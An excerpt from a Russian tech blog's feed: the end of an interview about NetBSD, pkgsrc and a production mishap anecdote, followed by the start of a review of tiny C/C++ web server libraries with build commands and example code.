  &lt;p id=&quot;UmAz&quot;&gt;Про коммерческое.. даже не коммерческое, а просто реальное использование NetBSD, какие-то проекты, компании — кто использует? &lt;/p&gt;
  &lt;p id=&quot;xJog&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;HpFD&quot;&gt;Не слежу за этим делом,  мне важнее что эта система нравится лично мне и я её использую. &lt;/p&gt;
  &lt;blockquote id=&quot;oMIU&quot;&gt;Но некоторое время назад, лет семь или восемь, случайно узнал, что в Витебский Белтелеком в Беларуси заехало какое-то новое сетевое оборудование. &lt;/blockquote&gt;
  &lt;p id=&quot;Rk2t&quot;&gt;У которого в руководстве было написано, что в качестве управляющей ОС используется NetBSD. &lt;/p&gt;
  &lt;h2 id=&quot;05p9&quot;&gt;Реальное использование pkgsrc&lt;/h2&gt;
  &lt;p id=&quot;HcGC&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;K3eo&quot;&gt;А что касается &lt;code&gt;pkgsrc&lt;/code&gt;, то уже упомянутая компания &lt;a href=&quot;https://joyent.com/&quot; target=&quot;_blank&quot;&gt;Joyent&lt;/a&gt; использует его как родную пакетную систему для Illumos, который они разворачивают у себя в облаке. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;2Z6Q&quot;&gt;Так что &lt;code&gt;pkgsrc&lt;/code&gt; имеет коммерческое использование, штатные разработчики Joyent довольно активно коммитят. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;GnNf&quot;&gt;И они же предоставляют бинарные репозитории &lt;code&gt;pkgsrc&lt;/code&gt; для MacOS и для NetBSD. &lt;/p&gt;
  &lt;p id=&quot;7Irs&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;kh2o&quot;&gt;При этом, насколько понимаю в пакетах &lt;code&gt;pkgsrc&lt;/code&gt; есть очень серьёзные штуки, как минимум у вас есть &lt;code&gt;gcc&lt;/code&gt; и &lt;code&gt;clang&lt;/code&gt;, со всей сложной обвязкой. &lt;/p&gt;
  &lt;p id=&quot;hzjy&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;DAUU&quot;&gt;Конечно. &lt;/p&gt;
  &lt;p id=&quot;P7Ek&quot;&gt;Честно говоря вообще не понимаю, зачем так много пакетных систем в мире UNIX. &lt;/p&gt;
  &lt;p id=&quot;214b&quot;&gt;Ведь запакетировав единожды, хотелось бы пользоваться этим везде — в линуксе, во всех BSD, в MacOS. &lt;/p&gt;
  &lt;p id=&quot;E7qY&quot;&gt;И &lt;code&gt;pkgsrc&lt;/code&gt; решает эту задачу. &lt;/p&gt;
  &lt;p id=&quot;Vwyw&quot;&gt;Вкладываться условно в Debian означает, что создав пакет для Debian, в OpenSuse его не будет. И в NetBSD его не будет.&lt;/p&gt;
  &lt;p id=&quot;4IyK&quot;&gt;Но раз создав пакет для &lt;code&gt;pkgsrc&lt;/code&gt;, можно им пользоваться и в OpenBSD и в NetBSD и в линуксе — где угодно. При желании, разворачиваешь в домашний каталог и используешь. &lt;/p&gt;
  &lt;p id=&quot;v14e&quot;&gt;Очень удобно. &lt;/p&gt;
  &lt;p id=&quot;phs0&quot;&gt;Вложился, так вложился. &lt;/p&gt;
  &lt;p id=&quot;khng&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;oS3Q&quot;&gt;На самом деле история с кроссплатформенными пакетами стара как мир. &lt;/p&gt;
  &lt;p id=&quot;GDlB&quot;&gt;Их пытались делать ещё во времена Unix Wars, когда только-только появлялся открытый софт. &lt;/p&gt;
  &lt;p id=&quot;AKXX&quot;&gt;И всё свелось в итоге не к технологиям, а к политике. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;vIMW&quot;&gt;Потому что тот, кто контролирует пакеты — создаёт ценность для конечного продукта. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;MQwg&quot;&gt;Это не вопрос технологии по большому счёту. &lt;/p&gt;
  &lt;p id=&quot;sRmy&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;xuGA&quot;&gt;Ну не знаю. У меня нет проблем с тем, чтобы отслеживать работоспособность моих пакетов на разных ОС. &lt;/p&gt;
  &lt;p id=&quot;eMnj&quot;&gt;Сейчас это работает. То есть как бы цель достигнута и всё работает. &lt;/p&gt;
  &lt;p id=&quot;IjVE&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;uvGn&quot;&gt;Ну а представь какой-нибудь QT так поддерживать? &lt;/p&gt;
  &lt;p id=&quot;HCJ3&quot;&gt;Или Chromium тот же самый, там же чудовищная кодовая база! &lt;/p&gt;
  &lt;figure id=&quot;q1cF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d3/39/d3398cc0-528a-40a1-8330-94c6a216f663.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;COsS&quot;&gt;Поддержка разных версий в pkgsrc&lt;/h2&gt;
  &lt;p id=&quot;RIg3&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;XlWP&quot;&gt;Ну в &lt;code&gt;pkgsrc&lt;/code&gt; уже есть много разных пакетов QT, и четвёртый и пятый и шестой. Приходится жить. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;64Hc&quot;&gt;Та же самая колбасня с питоном — их поддерживается несколько разных в &lt;code&gt;pkgsrc&lt;/code&gt;, одновременно.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;6dll&quot;&gt;Версии 3.9.1, 3.9.2 и так далее. &lt;/p&gt;
  &lt;p id=&quot;s1xT&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;YDj8&quot;&gt;Ну хоть не 2.7, уже хорошо. &lt;/p&gt;
  &lt;p id=&quot;nLgj&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;88xZ&quot;&gt;2.7 вроде уже выпилили. &lt;/p&gt;
  &lt;p id=&quot;flro&quot;&gt;И Ruby тоже поддерживается несколько разных версий. &lt;/p&gt;
  &lt;p id=&quot;Jd1J&quot;&gt;Модули для Python собираются в &lt;code&gt;pkgsrc&lt;/code&gt; для различных версий питона. &lt;/p&gt;
  &lt;p id=&quot;Jwal&quot;&gt;Ну, если кто pip не пользуется или если нужен петон специфичной версии, там 3.1, 3.9, 3.8.  &lt;/p&gt;
  &lt;p id=&quot;e9jV&quot;&gt;Все это в пакетах, они множатся таким образом. &lt;/p&gt;
  &lt;p id=&quot;LEg6&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;B3tM&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/bb/a2bb6018-7ae4-472a-8150-209cda3ea859.jpeg&quot; width=&quot;2048&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;3ZkJ&quot;&gt;NetBSD и AI/ML&lt;/h2&gt;
  &lt;p id=&quot;c67g&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Y8tn&quot;&gt;А кто-то работает с нейросетями, с ML из такого окружения? Из NetBSD? &lt;/p&gt;
  &lt;p id=&quot;Nec9&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;lnol&quot;&gt;Насколько Numpy работает под NetBSD не проверял, потому что не пользуюсь.&lt;/p&gt;
  &lt;p id=&quot;5xQK&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;RktU&quot;&gt;А почему Numpy? У Pandas же тоже много чего. &lt;/p&gt;
  &lt;p id=&quot;MdxA&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;91Gl&quot;&gt;В Pandas ничего зависимого от операционной системы нет. А вот работает ли Numpy, где есть такие зависимости — вопрос. &lt;/p&gt;
  &lt;p id=&quot;BbIC&quot;&gt;Тут есть некоторые вопросы с переносимостью, больное место. &lt;/p&gt;
  &lt;h2 id=&quot;7grn&quot;&gt;История про джуна и прод&lt;/h2&gt;
  &lt;p id=&quot;g1o9&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ZC9x&quot;&gt;Расскажи эту шутку про джуна, который тебя оторвал от свидания с девушкой. &lt;/p&gt;
  &lt;p id=&quot;IIcr&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ATYG&quot;&gt;Работаю давно, историй у меня забавных много. &lt;/p&gt;
  &lt;p id=&quot;2z0e&quot;&gt;Сижу с барышней в пятницу вечером. Ужинаем, с вином. Часов 10 вечера. &lt;/p&gt;
  &lt;p id=&quot;p3JV&quot;&gt;Звонит коллега:&lt;/p&gt;
  &lt;blockquote id=&quot;mEuo&quot;&gt; Лёша, Лёша, я у тебя баг нашёл!&lt;/blockquote&gt;
  &lt;p id=&quot;qa8y&quot;&gt;Спрашиваю:&lt;/p&gt;
  &lt;blockquote id=&quot;xCvR&quot;&gt;Какую багу?&lt;/blockquote&gt;
  &lt;p id=&quot;lhLo&quot;&gt;Вот там-то и то-то. &lt;/p&gt;
  &lt;p id=&quot;WmAL&quot;&gt;Говорит:&lt;/p&gt;
  &lt;blockquote id=&quot;qQeY&quot;&gt;я уже починил и выставил в прод.. &lt;/blockquote&gt;
  &lt;p id=&quot;ZEo1&quot;&gt;Честно говоря начинаю охреневать. Какой прод? Какой баг?&lt;/p&gt;
  &lt;p id=&quot;6B3e&quot;&gt;Пятница, 10 вечера, я сижу с вином и женщиной.&lt;/p&gt;
  &lt;p id=&quot;z1hl&quot;&gt;Начинаю задавать наводящие вопросы. &lt;/p&gt;
  &lt;p id=&quot;QLyx&quot;&gt;Кастомер жаловался? &lt;/p&gt;
  &lt;blockquote id=&quot;5J1y&quot;&gt;Нет. &lt;/blockquote&gt;
  &lt;p id=&quot;qYfT&quot;&gt;Ты знаешь, что у меня тесты написаны? &lt;/p&gt;
  &lt;blockquote id=&quot;IYtM&quot;&gt;Нет. &lt;/blockquote&gt;
  &lt;p id=&quot;IS6V&quot;&gt;То есть ты не протестировал свой фикс? &lt;/p&gt;
  &lt;blockquote id=&quot;VyTz&quot;&gt;Нет. &lt;/blockquote&gt;
  &lt;p id=&quot;PmU3&quot;&gt;А ты знаешь, что у нас есть staging-сервера, на которых тестирование проходит  перед выкатыванием в прод? &lt;/p&gt;
  &lt;blockquote id=&quot;NQcR&quot;&gt;Нет, не не знаю. &lt;/blockquote&gt;
  &lt;p id=&quot;PR9y&quot;&gt;А ты помнишь, что сегодня пятница, вечер? &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;SjYv&quot;&gt;Руки убери от системы. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gW0v&quot;&gt;В понедельник вернёмся на работу, починим. &lt;/p&gt;
  &lt;p id=&quot;VoY4&quot;&gt;Ну и в общем, такая вот весёлая история. &lt;/p&gt;
  &lt;p id=&quot;heQC&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;lYGX&quot;&gt;Короче, ты его не убил?&lt;/p&gt;
  &lt;p id=&quot;bbeL&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;GWck&quot;&gt;Нет, я его не убил. Но свои патчи он откатил. &lt;/p&gt;
  &lt;p id=&quot;L2Mu&quot;&gt;Ну и прод восстановил. &lt;/p&gt;
  &lt;p id=&quot;Rcdy&quot;&gt;Я вернулся в понедельник и спокойно разобрался, что он там нашёл. &lt;/p&gt;
  &lt;p id=&quot;5yX8&quot;&gt;В результате ошибка была у него и его решение ломало мои тесты. Он принял за баг то, что так и должно быть. &lt;/p&gt;
  &lt;blockquote id=&quot;LyRP&quot;&gt;Никакой ошибки не было. &lt;/blockquote&gt;
  &lt;p id=&quot;0kjU&quot;&gt;У меня всё было изначально верно, что и отражали тесты, написанные не «на отвали», а по-взрослому. &lt;/p&gt;
  &lt;p id=&quot;OGFD&quot;&gt;На большом объёме все было не раз протестировано. &lt;/p&gt;
  &lt;p id=&quot;cak3&quot;&gt;Так что бывает всякое, да, &lt;/p&gt;
  &lt;figure id=&quot;USiI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/56/2a/562a3295-14e1-4247-9424-3a7c14b04bfb.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;3JUa&quot;&gt;Эпилог&lt;/h2&gt;
  &lt;p id=&quot;OpSp&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;UKBA&quot;&gt;Эм.. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;jiWz&quot;&gt;товарищ сержант не может быть не прав во всём. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;S3zf&quot;&gt;Это было в сериале «Доктор Хаус», когда этот самый доктор Хаус выдал реплику про назначенного им сотрудника, что «он может облажаться в деталях, но я не может облажаться во всём». &lt;/p&gt;
  &lt;p id=&quot;TwKY&quot;&gt;Тут тоже самое.  &lt;/p&gt;
  &lt;p id=&quot;lB8G&quot;&gt;Ладно. &lt;/p&gt;
  &lt;p id=&quot;benc&quot;&gt;С вами был Алексей Чусов, всем привет. Всей BSD-тусовке. &lt;/p&gt;
  &lt;p id=&quot;GUz4&quot;&gt;Следующий ролик будет обязательно про FreeBSD, наконец-то я это добью. &lt;/p&gt;
  &lt;p id=&quot;e71v&quot;&gt;Всё господа, всем спасибо, всем пока и до новых встреч!&lt;/p&gt;
  &lt;p id=&quot;BNr5&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;LFop&quot;&gt;Выражаем благодарность за помощь с созданием ролика:&lt;/p&gt;
  &lt;h3 id=&quot;yDTi&quot;&gt;Alexey Proschenko&lt;/h3&gt;
  &lt;p id=&quot;c7Kd&quot;&gt;alexey@proschenko.ru&lt;/p&gt;
  &lt;h3 id=&quot;CB9o&quot;&gt;Евгений Симоненко&lt;/h3&gt;
  &lt;p id=&quot;1g8Y&quot;&gt;@easimonenko&lt;/p&gt;
  &lt;h3 id=&quot;DzaW&quot;&gt;Valery Ushakov&lt;/h3&gt;
  &lt;p id=&quot;5A2c&quot;&gt;@nbuwe&lt;/p&gt;

</content></entry><entry><id>alex0x08:tiny-web-projects-2026</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/tiny-web-projects-2026?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Маленький веб</title><published>2026-02-05T09:02:29.127Z</published><updated>2026-02-05T09:02:29.127Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/89/89/89898e36-4453-4ded-9008-f46d965ac841.png"></media:thumbnail><category term="software-development" label="software-development"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/c5/64/c564a758-02cc-45e0-911a-e19b4d609a3c.jpeg&quot;&gt;Компактная и портабельная программа, четко выполняющая свое предназначение — редкая для современного мира красота и услада для глаз опытного разработчика.</summary><content type="html">
  &lt;p id=&quot;qJW6&quot;&gt;Компактная и портабельная программа, четко выполняющая свое предназначение — редкая для современного мира красота и услада для глаз опытного разработчика.&lt;/p&gt;
  &lt;p id=&quot;fIon&quot;&gt;Именно такие проекты, реализующие различные серверы и клиенты для веба вы найдете в этой статье.&lt;/p&gt;
  &lt;figure id=&quot;54Cg&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c5/64/c564a758-02cc-45e0-911a-e19b4d609a3c.jpeg&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Проект &amp;quot;Sandbird&amp;#x27; в действии&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Rqzc&quot;&gt;Ода миниатюризации&lt;/h2&gt;
  &lt;p id=&quot;7XMu&quot;&gt;Есть много причин, по которым миниатюрные девушк.. ээ реализации программ заслуживают внимания:&lt;/p&gt;
  &lt;ul id=&quot;wszZ&quot;&gt;
    &lt;li id=&quot;0Esv&quot;&gt;обучение — врядли получится разобраться как устроен вебсервер, перелопачивая исходники монстров вроде Apache или Nginx, спасет только миниатюрная реализация;&lt;/li&gt;
    &lt;li id=&quot;OlyX&quot;&gt;основа для собственных проектов — большой объем чужого исходного кода под капотом вашего проекта будет висеть гирей и отвлекать ресурсы на поддержку, в отличие от чего-то маленького и простого;&lt;/li&gt;
    &lt;li id=&quot;xrrD&quot;&gt;борьба с энтропией — популярные библиотеки постоянно растут и раздуваются, при этом объем используемого функционала не особо меняется. Таким образом, большая часть кода в современном проекте с кучей внешних библиотек &lt;strong&gt;не используется никогда&lt;/strong&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;3NLB&quot;&gt;Разумеется есть определенные риски использования таких «наколенных» библиотек, связанные с неполной реализацией, безопасностью, работой под нагрузкой и так далее. &lt;/p&gt;
  &lt;blockquote id=&quot;fEcQ&quot;&gt;Но говоря откровенно, всего этого ныне хватает с головой и в больших популярных реализациях.&lt;/blockquote&gt;
  &lt;p id=&quot;WZIE&quot;&gt;Еще с опытом приходит понимание, что любая программа — не более чем &lt;strong&gt;инструмент&lt;/strong&gt; а реальную опасность, как и сто лет назад, представляют живые люди, не машины.&lt;/p&gt;
  &lt;h2 id=&quot;6m7G&quot;&gt;Тестовое окружение&lt;/h2&gt;
  &lt;p id=&quot;ReB1&quot;&gt;Не стал опять заморачиваться с BSD, чтобы в третий раз не описывать &lt;a href=&quot;https://www.freshports.org/devel/libepoll-shim/&quot; target=&quot;_blank&quot;&gt;специальную прослойку epoll-shim&lt;/a&gt;, позволяющую быстро и более-менее безболезненно портировать серверный софт с линукса.&lt;/p&gt;
  &lt;p id=&quot;W4Fg&quot;&gt;На этот раз в качестве тестового окружения выступает обычная Ubuntu 25.10, хотя и с немного нестандартным ядром.&lt;/p&gt;
  &lt;p id=&quot;LzAl&quot;&gt;Компилятором выступит штатный GCC:&lt;/p&gt;
  &lt;blockquote id=&quot;8XPD&quot;&gt;gcc version 15.2.0 (Ubuntu 15.2.0-4ubuntu4)&lt;/blockquote&gt;
  &lt;p id=&quot;jN0V&quot;&gt;Поехали смотреть интересное!&lt;/p&gt;
  &lt;p id=&quot;dyhS&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;Xosw&quot;&gt;Sandbird&lt;/h2&gt;
  &lt;p id=&quot;5gOQ&quot;&gt;&lt;a href=&quot;https://github.com/rxi/sandbird/tree/master&quot; target=&quot;_blank&quot;&gt;https://github.com/rxi/sandbird/tree/master&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;IuRs&quot;&gt;Начнем погружение с весьма практичного проекта:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;kx6x&quot;&gt;A tiny (~800sloc) embeddable HTTP server written in C89, compatible with Linux, OSX and Windows.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;PAIP&quot;&gt;&lt;strong&gt;800&lt;/strong&gt; строк на чистом С, причем наиболее портабельного стандарта &lt;a href=&quot;https://en.wikipedia.org/wiki/ANSI_C&quot; target=&quot;_blank&quot;&gt;С89&lt;/a&gt;, c поддержкой Windows, Linux и MacOS — отличный набор для реального применения, например в качестве встроенного вебсервера.&lt;/p&gt;
  &lt;p id=&quot;0v0S&quot;&gt;Например в каком-нибудь устройстве.&lt;/p&gt;
  &lt;blockquote id=&quot;XBYG&quot;&gt;Один из примеров, демонстрирующих работу этой библиотеки — на заглавном скриншоте к статье, причем показана обработка формы.&lt;/blockquote&gt;
  &lt;p id=&quot;odhb&quot;&gt;Вот так выглядит сборка примера:&lt;/p&gt;
  &lt;pre id=&quot;J0tI&quot; data-lang=&quot;bash&quot;&gt;cd example
gcc hello.c ../src/*.c -I../src -std=c89 -pedantic -Wall -Wextra -o hello&lt;/pre&gt;
  &lt;p id=&quot;500P&quot;&gt;Так выглядит код тестового приложения с использованием этой библиотеки:&lt;/p&gt;
  &lt;pre id=&quot;Akrv&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;quot;sandbird.h&amp;quot;

static int event_handler(sb_Event *e) {
  if (e-&amp;gt;type == SB_EV_REQUEST) {
    printf(&amp;quot;%s - %s %s\n&amp;quot;, e-&amp;gt;address, e-&amp;gt;method, e-&amp;gt;path);
    sb_send_status(e-&amp;gt;stream, 200, &amp;quot;OK&amp;quot;);
    sb_send_header(e-&amp;gt;stream, &amp;quot;Content-Type&amp;quot;, &amp;quot;text/plain&amp;quot;);
    sb_writef(e-&amp;gt;stream, &amp;quot;Hello world&amp;quot;);
  }
  return SB_RES_OK;
}

int main(void) {
  sb_Options opt;
  sb_Server *server;

  memset(&amp;amp;opt, 0, sizeof(opt));
  opt.port = &amp;quot;8000&amp;quot;;
  opt.handler = event_handler;
  server = sb_new_server(&amp;amp;opt);

  if (!server) {
    fprintf(stderr, &amp;quot;failed to initialize server\n&amp;quot;);
    exit(EXIT_FAILURE);
  }
  printf(&amp;quot;Server running at http://localhost:%s\n&amp;quot;, opt.port);

  for (;;) {
    sb_poll_server(server, 1000);
  }
  sb_close_server(server);
  return EXIT_SUCCESS;
}&lt;/pre&gt;
  &lt;p id=&quot;r8Dh&quot;&gt;Важный нюанс: &lt;/p&gt;
  &lt;blockquote id=&quot;hV9S&quot;&gt;сервер &lt;strong&gt;не использует&lt;/strong&gt; многопоточность, все клиентские обработчики работают в одном потоке.&lt;/blockquote&gt;
  &lt;p id=&quot;sebV&quot;&gt;но с неблокирующими сокетами:&lt;/p&gt;
  &lt;pre id=&quot;Ioil&quot; data-lang=&quot;c&quot;&gt;..
static void set_socket_non_blocking(sb_Socket sockfd) {
#ifdef _WIN32
  u_long mode = 1;
  ioctlsocket(sockfd, FIONBIO, &amp;amp;mode);
#else
  int flags = fcntl(sockfd, F_GETFL);
  fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);
#endif
}
..&lt;/pre&gt;
  &lt;p id=&quot;WZDd&quot;&gt;&lt;/p&gt;
  &lt;h1 id=&quot;ByZb&quot;&gt;webs&lt;/h1&gt;
  &lt;p id=&quot;qNj8&quot;&gt;&lt;a href=&quot;https://github.com/nicholascok/webs&quot; target=&quot;_blank&quot;&gt;https://github.com/nicholascok/webs&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;fqbe&quot;&gt;Следующий интересный и даже в чем-то уникальный проект, с лаконичным описанием:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Eybw&quot;&gt;a simple websocket server library.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;QQXH&quot;&gt;реализует с помощью ~&lt;strong&gt;700&lt;/strong&gt; строк на С89.. серверные вебсокеты!&lt;/p&gt;
  &lt;p id=&quot;nuan&quot;&gt;Вебсокеты это чаты, это «live-streaming», например отображение логов в реальном времени и тому подобные динамические штуки.&lt;/p&gt;
  &lt;p id=&quot;ERSP&quot;&gt;Так это выглядит в работе:&lt;/p&gt;
  &lt;figure id=&quot;Ujbz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b5/11/b511796a-a491-41d8-8aaf-6421f921795f.png&quot; width=&quot;1366&quot; /&gt;
    &lt;figcaption&gt;Статику отдает пример из предыдущего проекта.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SS5f&quot;&gt;Так выглядит сборка тестового приложения:&lt;/p&gt;
  &lt;pre id=&quot;otaI&quot; data-lang=&quot;bash&quot;&gt;gcc -c *.c examples/test.c -Wall -Wextra -Wpedantic -Wno-overlength-strings -std=c89
gcc -o webs *.o -lpthread&lt;/pre&gt;
  &lt;p id=&quot;FwWh&quot;&gt;Как нетрудно догадаться по &lt;code&gt;-lpthread&lt;/code&gt;, тут уже используется многопоточность на базе POSIX threads:&lt;/p&gt;
  &lt;pre id=&quot;eYh1&quot; data-lang=&quot;c&quot;&gt;..
static void* __webs_main(void* _srv) {
	webs_server* srv = (webs_server*) _srv;
	webs_client* user_ptr;
	webs_client user;
	
	for (;;) {
		user.fd = __webs_accept_connection(srv-&amp;gt;soc, &amp;amp;user);
		user.srv = srv;		
		if (user.fd &amp;gt;= 0) {
			user_ptr = __webs_add_client(srv, user);
			pthread_create(&amp;amp;user_ptr-&amp;gt;thread, 0, __webs_client_main,
			 user_ptr);
		}
	}	
	return NULL;
}
..&lt;/pre&gt;
  &lt;p id=&quot;cAZI&quot;&gt;К сожалению этот интересный проект по большей части &lt;strong&gt;прототип&lt;/strong&gt;, иллюстрирующий как можно &lt;s&gt;на коленке&lt;/s&gt; без внешних библиотек реализовать серверную сторону вебсокетов на чистом С. &lt;/p&gt;
  &lt;p id=&quot;Uxd0&quot;&gt;В случае реального использования, столь вольное использование &lt;code&gt;malloc&lt;/code&gt; для обработки входящих пакетов быстро превратится в проблему:&lt;/p&gt;
  &lt;pre id=&quot;EKRX&quot; data-lang=&quot;c&quot;&gt;..
/* deal with normal frames (non-fragmented) */
		if (WEBSFR_GET_OPCODE(frm.info) != 0x0) {
			/* read data */
			if (data) free(data);
			data = malloc(frm.length + 1);
..		&lt;/pre&gt;
  &lt;p id=&quot;kupm&quot;&gt;А вот так выглядит сокращенная версия тестового сервера для вебсокетов, c минимумом обработчиков:&lt;/p&gt;
  &lt;pre id=&quot;9ZwA&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;../webs.h&amp;quot;

int myFuncZ(webs_client* self) {
	printf(&amp;quot;server %ld: (id %ld) connected!\n&amp;quot;, 
	       self-&amp;gt;srv-&amp;gt;id, self-&amp;gt;id);
	webs_send(self, &amp;quot;greetings, salutations!&amp;quot;);
	return 0;
}
int myFunc2(webs_client* self) {
	printf(&amp;quot;server %ld: (id %ld) disconnected!\n&amp;quot;, 
	         self-&amp;gt;srv-&amp;gt;id, self-&amp;gt;id);
	return 0;
}
int main(void) {
	webs_server* server1 = webs_start(7754);	
	if (!server1) {
		printf(&amp;quot;failed to initialise a server.\n&amp;quot;);
		return 1;
	}
	server1-&amp;gt;events.on_open = myFuncZ;
	server1-&amp;gt;events.on_close = myFunc2;
	
	webs_hold(server1);	
	webs_close(server1);	
	return 0;
}&lt;/pre&gt;
  &lt;p id=&quot;BAn9&quot;&gt;Как видно из кода выше, все интересное происходит именно в обработчиках, где собственно и будет находиться ваша собственная логика, если вдруг решитесь использовать эту библиотеку.&lt;/p&gt;
  &lt;p id=&quot;cn5k&quot;&gt;Повторюсь, что весь этот проект, несмотря на всю свою интересность — &lt;strong&gt;сырой прототип&lt;/strong&gt; и тащить в прод подобный код &amp;quot;as-is&amp;quot; точно не стоит.&lt;/p&gt;
  &lt;blockquote id=&quot;Miy5&quot;&gt;Собирается только для Linux и только с помощью gcc.&lt;/blockquote&gt;
  &lt;p id=&quot;Rp3n&quot;&gt;Прототип как он есть.&lt;/p&gt;
  &lt;h2 id=&quot;WFfv&quot;&gt;cpp-httplib&lt;/h2&gt;
  &lt;p id=&quot;uEk3&quot;&gt;&lt;a href=&quot;https://github.com/yhirose/cpp-httplib&quot; target=&quot;_blank&quot;&gt;https://github.com/yhirose/cpp-httplib&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;BI8o&quot;&gt;Это уже более зрелая библиотека:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;q9nl&quot;&gt;A C++ header-only HTTP/HTTPS server and client library&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Nd3m&quot;&gt;&lt;strong&gt;11к&lt;/strong&gt; строк кода на C++11 и несколько зависимостей от внешних библиотек: &lt;/p&gt;
  &lt;blockquote id=&quot;n5F6&quot;&gt;pthreads, &lt;a href=&quot;https://github.com/google/brotli&quot; target=&quot;_blank&quot;&gt;brotli&lt;/a&gt;, OpenSSL, zlib&lt;/blockquote&gt;
  &lt;p id=&quot;uBlJ&quot;&gt;реализуют весьма продвинутый HTTP/HTTPS сервер и клиент, причем фактически в одном файле. &lt;/p&gt;
  &lt;p id=&quot;kdXi&quot;&gt;Есть поддержка сборки как на Linux так и Windows, причем для второй есть готовый проект для Visual Studio. &lt;/p&gt;
